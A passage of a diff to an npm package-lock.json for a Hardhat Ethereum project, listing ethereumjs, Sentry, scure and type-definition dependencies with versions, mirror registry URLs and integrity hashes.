"^4.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "functional-red-black-tree": "^1.0.1" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-trie": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-trie/-/ethereumjs-trie-5.0.0.tgz", + "integrity": "sha512-LIj5XdE+s+t6WSuq/ttegJzZ1vliwg6wlb+Y9f4RlBpuK35B9K02bO7xU+E6Rgg9RGptkWd6TVLdedTI4eNc2A==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "ethereum-cryptography": "0.1.3", + "readable-stream": "^3.6.0" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-tx": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-tx/-/ethereumjs-tx-4.0.0.tgz", + "integrity": "sha512-Gg3Lir2lNUck43Kp/3x6TfBNwcWC9Z1wYue9Nz3v4xjdcv6oDW9QSMJxqsKw9QEGoBBZ+gqwpW7+F05/rs/g1w==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "ethereum-cryptography": "0.1.3" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-util": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-util/-/ethereumjs-util-8.0.0.tgz", + "integrity": "sha512-2emi0NJ/HmTG+CGY58fa+DQuAoroFeSH9gKu9O6JnwTtlzJtgfTixuoOqLEgyyzZVvwfIpRueuePb8TonL1y+A==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-rlp": "^4.0.0-beta.2", + "ethereum-cryptography": "0.1.3" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/ethereumjs-vm": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-vm/-/ethereumjs-vm-6.0.0.tgz", + "integrity": "sha512-JMPxvPQ3fzD063Sg3Tp+UdwUkVxMoo1uML6KSzFhMH3hoQi/LMuXBoEHAoW83/vyNS9BxEe6jm6LmT5xdeEJ6w==", + "dev": true, + "requires": { + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-blockchain": "^6.0.0", + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-evm": "^1.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-statemanager": "^1.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-tx": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "@types/async-eventemitter": "^0.2.1", + "async-eventemitter": "^0.2.4", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "functional-red-black-tree": "^1.0.1", + "mcl-wasm": "^0.7.1", + "rustbn.js": "~0.2.0" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + } + } + }, + "@nomicfoundation/hardhat-chai-matchers": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/hardhat-chai-matchers/-/hardhat-chai-matchers-1.0.3.tgz", + "integrity": "sha512-qEE7Drs2HSY+krH09TXm6P9LFogs0BqbUq6wPD7nQRhmJ+p5zoDaIZjM5WL1pHqU5MpGqya3y+BdwmTYBfU5UA==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abi": "^5.1.2", + "@types/chai-as-promised": "^7.1.3", + "chai-as-promised": "^7.1.1", + "chalk": "^2.4.2", + "deep-eql": "^4.0.1", + "ordinal": "^1.0.3" + } + }, + "@nomicfoundation/hardhat-network-helpers": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/hardhat-network-helpers/-/hardhat-network-helpers-1.0.6.tgz", + "integrity": "sha512-a35iVD4ycF6AoTfllAnKm96IPIzzHpgKX/ep4oKc2bsUKFfMlacWdyntgC/7d5blyCTXfFssgNAvXDZfzNWVGQ==", + "dev": true, + "peer": true, + "requires": { + "ethereumjs-util": "^7.1.4" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "peer": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "ethereumjs-util": { + "version": "7.1.5", + "resolved": "https://registry.npmmirror.com/ethereumjs-util/-/ethereumjs-util-7.1.5.tgz", + "integrity": "sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg==", + "dev": true, + "peer": true, + "requires": { + "@types/bn.js": "^5.1.0", + "bn.js": "^5.1.2", + "create-hash": "^1.1.2", + "ethereum-cryptography": "^0.1.3", + "rlp": "^2.2.4" + } + } + } + }, + "@nomicfoundation/hardhat-toolbox": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@nomicfoundation/hardhat-toolbox/-/hardhat-toolbox-2.0.0.tgz", + "integrity": "sha512-BoOPbzLQ1GArnBZd4Jz4IU8FY3RY4nUwpXlfymXwxlXNimngkPRJj7ivVNurD7igohEjf90v/Axn2M5WwAdCJQ==", + "dev": true, + "requires": {} + }, + "@nomicfoundation/solidity-analyzer": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer/-/solidity-analyzer-0.0.3.tgz", + "integrity": "sha512-VFMiOQvsw7nx5bFmrmVp2Q9rhIjw2AFST4DYvWVVO9PMHPE23BY2+kyfrQ4J3xCMFC8fcBbGLt7l4q7m1SlTqg==", + "dev": true, + "requires": { + "@nomicfoundation/solidity-analyzer-darwin-arm64": "0.0.3", + "@nomicfoundation/solidity-analyzer-darwin-x64": "0.0.3", + "@nomicfoundation/solidity-analyzer-freebsd-x64": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-arm64-gnu": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-arm64-musl": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-x64-gnu": "0.0.3", + "@nomicfoundation/solidity-analyzer-linux-x64-musl": "0.0.3", + "@nomicfoundation/solidity-analyzer-win32-arm64-msvc": "0.0.3", + "@nomicfoundation/solidity-analyzer-win32-ia32-msvc": "0.0.3", + "@nomicfoundation/solidity-analyzer-win32-x64-msvc": "0.0.3" + } + }, + "@nomicfoundation/solidity-analyzer-darwin-arm64": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-darwin-arm64/-/solidity-analyzer-darwin-arm64-0.0.3.tgz", + "integrity": "sha512-W+bIiNiZmiy+MTYFZn3nwjyPUO6wfWJ0lnXx2zZrM8xExKObMrhCh50yy8pQING24mHfpPFCn89wEB/iG7vZDw==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-darwin-x64": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-darwin-x64/-/solidity-analyzer-darwin-x64-0.0.3.tgz", + "integrity": "sha512-HuJd1K+2MgmFIYEpx46uzwEFjvzKAI765mmoMxy4K+Aqq1p+q7hHRlsFU2kx3NB8InwotkkIq3A5FLU1sI1WDw==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-freebsd-x64": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-freebsd-x64/-/solidity-analyzer-freebsd-x64-0.0.3.tgz", + "integrity": "sha512-2cR8JNy23jZaO/vZrsAnWCsO73asU7ylrHIe0fEsXbZYqBP9sMr+/+xP3CELDHJxUbzBY8zqGvQt1ULpyrG+Kw==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-linux-arm64-gnu": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-arm64-gnu/-/solidity-analyzer-linux-arm64-gnu-0.0.3.tgz", + "integrity": "sha512-Eyv50EfYbFthoOb0I1568p+eqHGLwEUhYGOxcRNywtlTE9nj+c+MT1LA53HnxD9GsboH4YtOOmJOulrjG7KtbA==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-linux-arm64-musl": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-arm64-musl/-/solidity-analyzer-linux-arm64-musl-0.0.3.tgz", + "integrity": "sha512-V8grDqI+ivNrgwEt2HFdlwqV2/EQbYAdj3hbOvjrA8Qv+nq4h9jhQUxFpegYMDtpU8URJmNNlXgtfucSrAQwtQ==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-linux-x64-gnu": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-x64-gnu/-/solidity-analyzer-linux-x64-gnu-0.0.3.tgz", + "integrity": "sha512-uRfVDlxtwT1vIy7MAExWAkRD4r9M79zMG7S09mCrWUn58DbLs7UFl+dZXBX0/8FTGYWHhOT/1Etw1ZpAf5DTrg==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-linux-x64-musl": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-linux-x64-musl/-/solidity-analyzer-linux-x64-musl-0.0.3.tgz", + "integrity": "sha512-8HPwYdLbhcPpSwsE0yiU/aZkXV43vlXT2ycH+XlOjWOnLfH8C41z0njK8DHRtEFnp4OVN6E7E5lHBBKDZXCliA==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-win32-arm64-msvc": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-win32-arm64-msvc/-/solidity-analyzer-win32-arm64-msvc-0.0.3.tgz", + "integrity": "sha512-5WWcT6ZNvfCuxjlpZOY7tdvOqT1kIQYlDF9Q42wMpZ5aTm4PvjdCmFDDmmTvyXEBJ4WTVmY5dWNWaxy8h/E28g==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-win32-ia32-msvc": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-win32-ia32-msvc/-/solidity-analyzer-win32-ia32-msvc-0.0.3.tgz", + "integrity": "sha512-P/LWGZwWkyjSwkzq6skvS2wRc3gabzAbk6Akqs1/Iiuggql2CqdLBkcYWL5Xfv3haynhL+2jlNkak+v2BTZI4A==", + "dev": true, + "optional": true + }, + "@nomicfoundation/solidity-analyzer-win32-x64-msvc": { + "version": "0.0.3", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/solidity-analyzer-win32-x64-msvc/-/solidity-analyzer-win32-x64-msvc-0.0.3.tgz", + "integrity": "sha512-4AcTtLZG1s/S5mYAIr/sdzywdNwJpOcdStGF3QMBzEt+cGn3MchMaS9b1gyhb2KKM2c39SmPF5fUuWq1oBSQZQ==", + "dev": true, + "optional": true + }, + "@nomiclabs/hardhat-ethers": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/@nomiclabs/hardhat-ethers/-/hardhat-ethers-2.1.1.tgz", + "integrity": "sha512-Gg0IFkT/DW3vOpih4/kMjeZCLYqtfgECLeLXTs7ZDPzcK0cfoc5wKk4nq5n/izCUzdhidO/Utd6ptF9JrWwWVA==", + "dev": true, + "peer": true, + "requires": {} + }, + "@nomiclabs/hardhat-etherscan": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/@nomiclabs/hardhat-etherscan/-/hardhat-etherscan-3.1.0.tgz", + "integrity": "sha512-JroYgfN1AlYFkQTQ3nRwFi4o8NtZF7K/qFR2dxDUgHbCtIagkUseca9L4E/D2ScUm4XT40+8PbCdqZi+XmHyQA==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abi": "^5.1.2", + "@ethersproject/address": "^5.0.2", + "cbor": "^5.0.2", + "chalk": "^2.4.2", + "debug": "^4.1.1", + "fs-extra": "^7.0.1", + "lodash": "^4.17.11", + "semver": "^6.3.0", + "table": "^6.8.0", + "undici": "^5.4.0" + } + }, + "@scure/base": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/@scure/base/-/base-1.1.1.tgz", + "integrity": "sha512-ZxOhsSyxYwLJj3pLZCefNitxsj093tb2vq90mp2txoYeBqbcjDjqFhyM8eUjq/uFm6zJ+mUuqxlS2FkuSY1MTA==", + "dev": true + }, + "@scure/bip32": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@scure/bip32/-/bip32-1.1.0.tgz", + "integrity": "sha512-ftTW3kKX54YXLCxH6BB7oEEoJfoE2pIgw7MINKAs5PsS6nqKPuKk1haTF/EuHmYqG330t5GSrdmtRuHaY1a62Q==", + "dev": true, + "requires": { + "@noble/hashes": "~1.1.1", + "@noble/secp256k1": "~1.6.0", + "@scure/base": "~1.1.0" + } + }, + "@scure/bip39": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/@scure/bip39/-/bip39-1.1.0.tgz", + "integrity": "sha512-pwrPOS16VeTKg98dYXQyIjJEcWfz7/1YJIwxUEPFfQPtc86Ym/1sVgQ2RLoD43AazMk2l/unK4ITySSpW2+82w==", + "dev": true, + "requires": { + "@noble/hashes": "~1.1.1", + "@scure/base": "~1.1.0" + } + }, + "@sentry/core": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/core/-/core-5.30.0.tgz", + "integrity": "sha512-TmfrII8w1PQZSZgPpUESqjB+jC6MvZJZdLtE/0hZ+SrnKhW3x5WlYLvTXZpcWePYBku7rl2wn1RZu6uT0qCTeg==", + "dev": true, + "requires": { + "@sentry/hub": "5.30.0", + "@sentry/minimal": "5.30.0", + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "tslib": "^1.9.3" + } + }, + "@sentry/hub": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/hub/-/hub-5.30.0.tgz", + "integrity": "sha512-2tYrGnzb1gKz2EkMDQcfLrDTvmGcQPuWxLnJKXJvYTQDGLlEvi2tWz1VIHjunmOvJrB5aIQLhm+dcMRwFZDCqQ==", + "dev": true, + "requires": { + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "tslib": "^1.9.3" + } + }, + "@sentry/minimal": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/minimal/-/minimal-5.30.0.tgz", + "integrity": "sha512-BwWb/owZKtkDX+Sc4zCSTNcvZUq7YcH3uAVlmh/gtR9rmUvbzAA3ewLuB3myi4wWRAMEtny6+J/FN/x+2wn9Xw==", + "dev": true, + "requires": { + "@sentry/hub": "5.30.0", + "@sentry/types": "5.30.0", + "tslib": "^1.9.3" + } + }, + "@sentry/node": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/node/-/node-5.30.0.tgz", + "integrity": "sha512-Br5oyVBF0fZo6ZS9bxbJZG4ApAjRqAnqFFurMVJJdunNb80brh7a5Qva2kjhm+U6r9NJAB5OmDyPkA1Qnt+QVg==", + "dev": true, + "requires": { + "@sentry/core": "5.30.0", + "@sentry/hub": "5.30.0", + "@sentry/tracing": "5.30.0", + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "cookie": "^0.4.1", + "https-proxy-agent": "^5.0.0", + "lru_map": "^0.3.3", + "tslib": "^1.9.3" + } + }, + "@sentry/tracing": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/tracing/-/tracing-5.30.0.tgz", + "integrity": "sha512-dUFowCr0AIMwiLD7Fs314Mdzcug+gBVo/+NCMyDw8tFxJkwWAKl7Qa2OZxLQ0ZHjakcj1hNKfCQJ9rhyfOl4Aw==", + "dev": true, + "requires": { + "@sentry/hub": "5.30.0", + "@sentry/minimal": "5.30.0", + "@sentry/types": "5.30.0", + "@sentry/utils": "5.30.0", + "tslib": "^1.9.3" + } + }, + "@sentry/types": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/types/-/types-5.30.0.tgz", + "integrity": "sha512-R8xOqlSTZ+htqrfteCWU5Nk0CDN5ApUTvrlvBuiH1DyP6czDZ4ktbZB0hAgBlVcK0U+qpD3ag3Tqqpa5Q67rPw==", + "dev": true + }, + "@sentry/utils": { + "version": "5.30.0", + "resolved": "https://registry.npmmirror.com/@sentry/utils/-/utils-5.30.0.tgz", + "integrity": "sha512-zaYmoH0NWWtvnJjC9/CBseXMtKHm/tm40sz3YfJRxeQjyzRqNQPgivpd9R/oDJCYj999mzdW382p/qi2ypjLww==", + "dev": true, + "requires": { + "@sentry/types": "5.30.0", + "tslib": "^1.9.3" + } + }, + "@solidity-parser/parser": { + "version": "0.14.3", + "resolved": "https://registry.npmmirror.com/@solidity-parser/parser/-/parser-0.14.3.tgz", + "integrity": "sha512-29g2SZ29HtsqA58pLCtopI1P/cPy5/UAzlcAXO6T/CNJimG6yA8kx4NaseMyJULiC+TEs02Y9/yeHzClqoA0hw==", + "dev": true, + "peer": true, + "requires": { + "antlr4ts": "^0.5.0-alpha.4" + } + }, + "@tsconfig/node10": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/@tsconfig/node10/-/node10-1.0.9.tgz", + "integrity": "sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==", + "dev": true, + "peer": true + }, + "@tsconfig/node12": { + "version": "1.0.11", + "resolved": "https://registry.npmmirror.com/@tsconfig/node12/-/node12-1.0.11.tgz", + "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", + "dev": true, + "peer": true + }, + "@tsconfig/node14": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/@tsconfig/node14/-/node14-1.0.3.tgz", + "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", + "dev": true, + "peer": true + }, + "@tsconfig/node16": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/@tsconfig/node16/-/node16-1.0.3.tgz", + "integrity": "sha512-yOlFc+7UtL/89t2ZhjPvvB/DeAr3r+Dq58IgzsFkOAvVC6NMJXmCGjbptdXdR9qsX7pKcTL+s87FtYREi2dEEQ==", + "dev": true, + "peer": true + }, + "@typechain/ethers-v5": { + "version": "10.1.0", + "resolved": "https://registry.npmmirror.com/@typechain/ethers-v5/-/ethers-v5-10.1.0.tgz", + "integrity": "sha512-3LIb+eUpV3mNCrjUKT5oqp8PBsZYSnVrkfk6pY/ZM0boRs2mKxjFZ7bktx42vfDye8PPz3NxtW4DL5NsNsFqlg==", + "dev": true, + "peer": true, + "requires": { + "lodash": "^4.17.15", + "ts-essentials": "^7.0.1" + } + }, + "@typechain/hardhat": { + "version": "6.1.3", + "resolved": "https://registry.npmmirror.com/@typechain/hardhat/-/hardhat-6.1.3.tgz", + "integrity": "sha512-e1H9MVl286ma0HuD9CBL248+pbdA7lWF6+I7FYwzykIrjilKhvLUv0Q7LtcyZztzgbP2g4Tyg1UPE+xy+qR7cA==", + "dev": true, + "peer": true, + "requires": { + "fs-extra": "^9.1.0" + }, + "dependencies": { + "fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "peer": true, + "requires": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + } + }, + "jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "peer": true, + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + } + }, + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true, + "peer": true + } + } + }, + "@types/async-eventemitter": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/@types/async-eventemitter/-/async-eventemitter-0.2.1.tgz", + "integrity": "sha512-M2P4Ng26QbAeITiH7w1d7OxtldgfAe0wobpyJzVK/XOb0cUGKU2R4pfAhqcJBXAe2ife5ZOhSv4wk7p+ffURtg==", + "dev": true + }, + "@types/bn.js": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/@types/bn.js/-/bn.js-5.1.1.tgz", + "integrity": "sha512-qNrYbZqMx0uJAfKnKclPh+dTwK33KfLHYqtyODwd5HnXOjnkhc4qgn3BrK6RWyGZm5+sIFE7Q7Vz6QQtJB7w7g==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/chai": { + "version": "4.3.3", + "resolved": "https://registry.npmmirror.com/@types/chai/-/chai-4.3.3.tgz", + "integrity": "sha512-hC7OMnszpxhZPduX+m+nrx+uFoLkWOMiR4oa/AZF3MuSETYTZmFfJAHqZEM8MVlvfG7BEUcgvtwoCTxBp6hm3g==", + "dev": true, + "peer": true + }, + "@types/chai-as-promised": { + "version": "7.1.5", + "resolved": "https://registry.npmmirror.com/@types/chai-as-promised/-/chai-as-promised-7.1.5.tgz", + "integrity": "sha512-jStwss93SITGBwt/niYrkf2C+/1KTeZCZl1LaeezTlqppAKeoQC7jxyqYuP72sxBGKCIbw7oHgbYssIRzT5FCQ==", + "dev": true, + "peer": true, + "requires": { + "@types/chai": "*" + } + }, + "@types/concat-stream": { + "version": "1.6.1", + "resolved": "https://registry.npmmirror.com/@types/concat-stream/-/concat-stream-1.6.1.tgz", + "integrity": "sha512-eHE4cQPoj6ngxBZMvVf6Hw7Mh4jMW4U9lpGmS5GBPB9RYxlFg+CHaVN7ErNY4W9XfLIEn20b4VDYaIrbq0q4uA==", + "dev": true, + "peer": true, + "requires": { + "@types/node": "*" + } + }, + "@types/form-data": { + "version": "0.0.33", + "resolved": "https://registry.npmmirror.com/@types/form-data/-/form-data-0.0.33.tgz", + "integrity": "sha512-8BSvG1kGm83cyJITQMZSulnl6QV8jqAGreJsc5tPu1Jq0vTSOiY/k24Wx82JRpWwZSqrala6sd5rWi6aNXvqcw==", + "dev": true, + "peer": true, + "requires": { + "@types/node": "*" + } + }, + "@types/glob": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/@types/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==", + "dev": true, + "peer": true, + "requires": { + "@types/minimatch": "*", + "@types/node": "*" + } + }, + "@types/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/@types/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-ssE3Vlrys7sdIzs5LOxCzTVMsU7i9oa/IaW92wF32JFb3CVczqOkru2xspuKczHEbG3nvmPY7IFqVmGGHdNbYw==", + "dev": true + }, + "@types/minimatch": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/@types/minimatch/-/minimatch-5.1.2.tgz", + "integrity": "sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==", + "dev": true, + "peer": true + }, + "@types/mocha": { + "version": "9.1.1", + "resolved": "https://registry.npmmirror.com/@types/mocha/-/mocha-9.1.1.tgz", + "integrity": "sha512-Z61JK7DKDtdKTWwLeElSEBcWGRLY8g95ic5FoQqI9CMx0ns/Ghep3B4DfcEimiKMvtamNVULVNKEsiwV3aQmXw==", + "dev": true, + "peer": true + }, + "@types/node": { + "version": "18.7.23", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-18.7.23.tgz", + "integrity": 